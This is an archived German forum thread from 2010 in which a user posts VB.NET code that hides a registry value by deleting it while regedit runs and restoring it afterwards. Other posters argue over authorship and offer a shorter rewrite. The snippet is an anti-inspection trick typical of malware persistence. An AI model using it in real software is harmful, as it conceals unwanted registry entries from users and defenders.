PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [VB.NET] Registry Key verstecken



nom
18.10.2010, 14:26
Ich hab mich mal ran gesetzt und mir eine Möglichkeit überlegt, wie man einen Registry Key "verstecken" kann. Aufzurufen ist das ganze in einem Thread oder Timer.

Für alle "Flamer": Dieser Code ist 2007 entstanden und nicht ich habe ihn von dem Typ auf HackForums kopiert sondern anders rum..

Funktionsweise:
Überprüft ob der Prozess "regedit" läuft (jaja ich weiß kann man schöner machen)
Wenn ja, löscht er den Key der den übergebenen Parametern entspricht, wenn nicht dann wird der Key erstellt.


Public Enum HKEY
ClassesRoot
CurrentUser
LocalMachine
Users
CurrentConfig
End Enum

Public Shared Sub HideValueFromRegistry(ByVal HKEY As HKEY, ByVal SubKey As String, ByVal Name As String, ByVal KeyValue As String)
Dim List As New List(Of String)
For Each Proc As Process In Process.GetProcesses
List.Add(Proc.ProcessName)
Next
If List.Contains("regedit") Then
Select Case HKEY
Case HKEY.ClassesRoot
Dim Key As RegistryKey = Registry.ClassesRoot.OpenSubKey(SubKey)
If Key.GetValue(Name) IsNot Nothing Then
My.Computer.Registry.ClassesRoot.OpenSubKey(SubKey , True).DeleteValue(Name)
End If
Case HKEY.CurrentUser
Dim Key As RegistryKey = Registry.CurrentUser.OpenSubKey(SubKey)
If Key.GetValue(Name) IsNot Nothing Then
My.Computer.Registry.CurrentUser.OpenSubKey(SubKey , True).DeleteValue(Name)
End If
Case HKEY.LocalMachine
Dim Key As RegistryKey = Registry.LocalMachine.OpenSubKey(SubKey)
If Key.GetValue(Name) IsNot Nothing Then
My.Computer.Registry.LocalMachine.OpenSubKey(SubKe y, True).DeleteValue(Name)
End If
Case HKEY.Users
Dim Key As RegistryKey = Registry.Users.OpenSubKey(SubKey)
If Key.GetValue(Name) IsNot Nothing Then
My.Computer.Registry.Users.OpenSubKey(SubKey, True).DeleteValue(Name)
End If
Case HKEY.CurrentConfig
Dim Key As RegistryKey = Registry.CurrentConfig.OpenSubKey(SubKey)
If Key.GetValue(Name) IsNot Nothing Then
My.Computer.Registry.CurrentConfig.OpenSubKey(SubK ey, True).DeleteValue(Name)
End If
End Select
Else
Select Case HKEY
Case HKEY.ClassesRoot
Dim Key As RegistryKey = Registry.ClassesRoot.OpenSubKey(SubKey)
If Key.GetValue(Name) Is Nothing Then
My.Computer.Registry.ClassesRoot.OpenSubKey(SubKey , True).SetValue(Name, KeyValue)
End If
Case HKEY.CurrentUser
Dim Key As RegistryKey = Registry.CurrentUser.OpenSubKey(SubKey)
If Key.GetValue(Name) Is Nothing Then
My.Computer.Registry.CurrentUser.OpenSubKey(SubKey , True).SetValue(Name, KeyValue)
End If
Case HKEY.LocalMachine
Dim Key As RegistryKey = Registry.LocalMachine.OpenSubKey(SubKey)
If Key.GetValue(Name) Is Nothing Then
My.Computer.Registry.LocalMachine.OpenSubKey(SubKe y, True).SetValue(Name, KeyValue)
End If
Case HKEY.Users
Dim Key As RegistryKey = Registry.Users.OpenSubKey(SubKey)
If Key.GetValue(Name) Is Nothing Then
My.Computer.Registry.Users.OpenSubKey(SubKey, True).SetValue(Name, KeyValue)
End If
Case HKEY.CurrentConfig
Dim Key As RegistryKey = Registry.CurrentConfig.OpenSubKey(SubKey)
If Key.GetValue(Name) Is Nothing Then
My.Computer.Registry.CurrentConfig.OpenSubKey(SubK ey, True).SetValue(Name, KeyValue)
End If
End Select
End If
End Sub

mfg
nom

CYSER
18.10.2010, 14:44
Sagmal wie erbärmlich bist du eigentlich? Erst "deinen" Binder als eigenen ausgeben und jetzt diesen source?

Hack Forums (http://www.hackforums.net/showthread.php?tid=192287)

nom
18.10.2010, 17:30
jo das lustige ist, dass ich diesen Sourcecode weit vor ihm geschrieben habe und schon wo anders veröffentlicht hatte und nicht ICH alles kopiere ;)

inout
18.10.2010, 18:29
Ist doch völlig egal, von wem der Code stammt. Tatsache ist, dass er komplett sinnfrei ist und zudem noch völlig umständlich "programmiert" wurde.
Wozu braucht man hier bitte eine Liste oder ein Case?
Da sieht man mal wieder, was VB für eine Seuche ist.

Hier mal das gleiche als 5-Zeiler, ungetestet, kA, ob die Syntax stimmt:


if process.getprocesses.contains("regedit") then
registrykey.openkey(hkey).opensubkey(subkey).delet evalue(name);
else
registrykey.openkey(hkey).opensubkey(subkey).setva lue(keyvalue);
end if

nom
19.10.2010, 07:43
Es geht wesentlich kürzer ist mir auch bewusst aber beachte das Datum, wann es geschrieben wurde (:
Und danke für endlich mal konstruktive Kritik